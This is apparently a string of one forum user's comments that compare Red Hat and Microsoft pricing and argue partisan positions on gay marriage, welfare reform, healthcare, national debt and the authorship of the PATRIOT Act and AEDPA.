But have you looked at the price of it's largest linux competitor Redhat. Base support license for Redhat workstation is $179, this only gets you updates and 30 day's of installation support, to get standard support it is $299 dollars. MS is still more expensive but's it's not crazy out of line in comparison, until you see that Redhat is *YEARLY*. So for 3 years of just updates it's $537, if you want support it's $837. Now I ask you for a reality check now, if you goto court complaining that MS is setting such an obscenely high price that anti-trust measures should be put against it, would you or would you not get laughed out of the court?
I think you are kind of deluding yourself it it's truely *only* that. That there isn't a view of love, spirituality, etc in a gay relationship. The problem I have with both partys is that they are forcing morality onto *everyone*. The government has taken a religious concept (marriage) and usurped it and is now trying to force a definition onto everyone. Which is why I say the government should not do anything with marriage, as it's a religious concept and should only have civil unions. Then your marriage is truely about your religious beliefs, if your church accepts marrying someone of the opposite sex do it, if your religion accepts you marring someone of the same sex do it, if your church accepts you marrying a rubber doll do it. But the government should not be defining our morals for us, which the Repubs trying to ban gay marriage and the Dems trying to force acceptance of marriage (a bit generalization as there are repubs for forcing acceptance and there are dems for banning). The part I disagree with is using the government to decide moral decisions for the people.
Not that I care that much about gays, but they truely are trying to force the acceptance of gays into a religious vows. That you are required to accept them and that it is illegal to not accept them. It's not about forcing marriage, it's about forcing thought. (which is why I believe the government shouldn't get out of marriage completely and only have civil unions.
Not to get into one topic too much, but some people truely believe that abortion is truely equivalent to murder. Again it's not about forcing you to have an abortion but to force their moral values onto someone else. For some people it's government forced acceptance of murder. Freedom of religion point was more of the battles to even have a small separate room for a group to have a private religious meeting in. No forced religion, etc but the fact that of banning merely because some people privately get together for it. I agree with your two sides of the same coin argument as well, I should have mentioned it directly, but I was basically showing examples where the Dems force their moral values onto others as well.
And the US has the same type of programs, if you are poor the US have massive programs to help you. It truely astonishes me that people think that they have no programs at all. I grew up dirt poor as well, having known the "interesting" taste of the 4x4x12" block of yellow cheese (I use the term cheese loosely) from the government. I've known people to actually get paid to go to school, not much but they were paid and even made got a tax refund for more than they made the entire year! Those types of programs shouldn't be stopped, but the subsistence ones should, people should have to be on welfare for years and years because the government only gives them just enough to have a reasonable life, but not enough to give them a chance. I don't want welfare canceled I wanted it reformed, and that's what we got. The dems were screaming that people would be starving in the street, but it never happened.
On healthcare I have mixed feelings on, but every program I've seen I don't believe is sustainable. Additionally my wife has cronic pain, and while I'd *love* to have things paid for (for the last 3 years I've averaged >$12k in medical bills, we weren't married and she was unable to work, she only had major medical no perscription/doctor visit) she wouldn't be able to get to the specialists she needs constantly. It would be great to have universal healthcare where everything was paid for, but I don't think it's possible. A general healthcare program could be sustainable, but programs where paying for Viagara, non-critical, etc are required are not, also preventable medication programs as well. But all the lifestyle helpful ones I think are over the top and make it unsustainable (but that's another topic all together).
- They're Republican because they think that the Republican party has their social, religious, or ethical values in common with them, and that's more important to them than their economic well-being. Religion in particular is insidious for this characteristic. If God supposedly tells you that gays shouldn't get married, then it doesn't matter what the economic future of this country will be like; that trumps everything. Personally, I disagree with most of these people's values and beliefs, but we usually still get along because unlike most of them, I don't go trying to impose my own values on them.
Unfortunately most of the people in your group do the exact same thing and try to impose your values and beliefs on the Republicans. Gay marriage, abortion, freedom to practice religion, etc. Two sides of the same coin.
- They're well off and have either only vague notions or no notion at all of what it's like to be poor. A lot of these folks are the middle-aged or old folks who lived in a time when there was upward mobility for the middle-class; when hard work and thriftiness really did pay off. These are typically the "I don't understand why poor people don't just pull themselves up by their bootstraps" Republicans, because when they were growing up, that was actually possible. They are against funding things like public education, public transportation, welfare, Medicaid, and so on, because they think that almost all poor people are poor because they're lazy or stupid, and we shouldn't have to pay to try to help them.
Now you are just falling for the stereotypes fed to you by people in a certain party. What you don't appear to understand is that Republicans don't want to pull funding, they just want to reform it because it's broken. They don't want to pull the soup bowl out of the mouth of children, they want to empower them. Their belief is not that everybody can just "pull themselves up by their bootstraps", but that individuals require help and that just constantly giving them cash for years and years hasn't worked in the past and isn't going to work in the future. The thought is this: you want to get 10 people off the street and you have $1000 every month to try and do it, the Democrat way is to give each of them 100 each month until the "pull themselves up by the bootstraps", the Republican way is to give 1 person $500 to try and pull themselves up the rest get $55.55, if the person doesn't put in the effort to try and get out they will be dropped down and someone else will be given the $500 who might. It simply is about how to allocate the money, Republicans believe that trying should be rewarded and that minimal sustaining amounts never allow people to get out, but large targeted ammounts do. Look at the welfare act that happened a few years ago, remember all the people claiming that the poor would get so screwed because they wouldn't be able to be on it for years and year and year? Well, look at it now, the crash didn't happen, less people are on welfare allowing more individuals to get more cash to try and get out.
- They're ignorant of politics and economics. Not necessarily stupid, but they don't understand how government works, who's responsible for what, and what consequences are a result of what causes. These are the folks who can't name their own senators and representatives (Chambliss, Isakson, and Linder, at least those are mine). They have no idea who the Chief Justice of the Supreme Court is (Roberts, so you don't have to look it up). They don't take the time to understand simple things such as how much we pay every year in interest on Reagan's and Bush's national credit card ($406 billion in 2006).
And I don't think you have any idea about economics and what debt is. Debt is a way of life, it just is period, if you don't understand that then it is you who are stupid. Look at the countries who have all the required balanced budgets and compare the economic situation. Germany, France? Double digit unemployment, even Canada has a 2+ unempl
>passed by a Republican controlled House and a Republican Senate
If one looks at the real vote you'll see how partisan your statement talking about who was in the majority is. Hint, look and see if there was a single senate vote against it (voice vote in the house, so no records of who was for/against it). If there wasn't a single vote against it in the senate, than who is the majority has absolutely no meaning other than to be partisan trying to get the Dems off the hook, when in reality they are just as much on the hook as everybody else.
Would you like to elaborate on how exactly if some non-senator says "hey I've got a good idea, what do you think of this", and a senator looks at it says "you know what that does look pretty good" and changes it a bit and submits it as a bill, that it takes power away. It would only take power away if they can a senator to introduce the bill if he doesn't want to, or if there is some ruling that all bills are required to be authored from somewhere else. But simply using someone elses ideas should not be discouraged for the sole fact that some *gasp* non-congress critter though of it, going outside the box and using someone elses good ideas should be encouraged.
Why don't you quote where I say he was the sole writer? In fact I go on to basically say that it came from the outside, but bitching that a piece of legislation wasn't written in congress doesn't mean much of anything as it doesn't give or take any power from the legislature. If a well written legislation comes from outside should congress be specifically prevented from using it? Or is congress just that infallable they always make great legislation and that someone else can't draft something up that they think is good. Do you *really* care that much about who was the drafter of a piece of legislation, or the content of the legislation?
Hmmm... they aren't basically the same thing?
...
http://en.wikipedia.org/wiki/USA_PATRIOT_Act
* Antiterrorism and Effective Death Penalty Act of 1996 (AEDPA)
The AEDPA is the direct predecessor of the USA PATRIOT Act and contains many provisions that were maintained and expanded by the USA PATRIOT Act, including those relating to terrorism, FISA, immigration, and so on.
And it wasn't drafted by anyone in the legislative branch?
Introduced into the House of Representatives as H.R. 3162 by Congressman James F. Sensenbrenner (R, WI), the Act swept through Congress remarkably quickly and with little dissent.
On June 10, 2005, during testimony at a House Judiciary Committee hearing on the reauthorization of the Act, Chairman James Sensenbrenner (one of the Act's authors)
The argument isn't worth much anyway, unless you are trying to say that the legislative branch should be specifically be prevented from taking the ideas/documents from another branch of government. So what if someone else wrote the document, who wrote it doesn't mean anything really the legislative branch's real power is that they get to introduce it.
And you say they didn't know? How could they not know if that's their job? And it especially makes the argument weak as they knew what was in it years later when they bi-parisanly came together to renew it. Again it's two sides of the same coin, the dems love power and restriction of rights just as much as the repubs. You'll note that they only bitch when the other party is doing it.
They read it, it was basically the same thing the Clinton administration proposed and passed in 96. Do a search on: "Anti-Terrorism and Effective Death Penalty Act". You'll find such gems as:
If you support lawful political or humanitarian aid for any group designated a terrorist. If you send food to certain palestenian children you've now broken the law and can be held for it.
Allowed "secret evidence" to be used against people for deportation and for cases. You can be deported at any time, and not be told why or held in jail for years and years (see Ahmed case below)
Banks are now forced to freeze assets of people, groups, etc that a employee "suspects" they might have any relationship to any organization on a terrorist group. Even better banks are required to tell the government anytime they notice a customer doing something out of the ordinary (so if you simply want to pull some cash out of the bank to pay for a car, they are *REQUIRED* to notify the government). This would be part of John Kerry's know your customer provisions.
Expanded FBI rights to spy on immigrants (read up on the Salah case from 98 and how the US spied on him in his own mosque)
Because of the AEDPA Nasser Ahmed spent 3.5 years in solitary confinement without any charges or trial at all. This was again prior to the Patriot Act.
With the dems and repubs it's two sides of the *SAME* coin, they bitch when the other party is in power but do the exact same thing when they are in power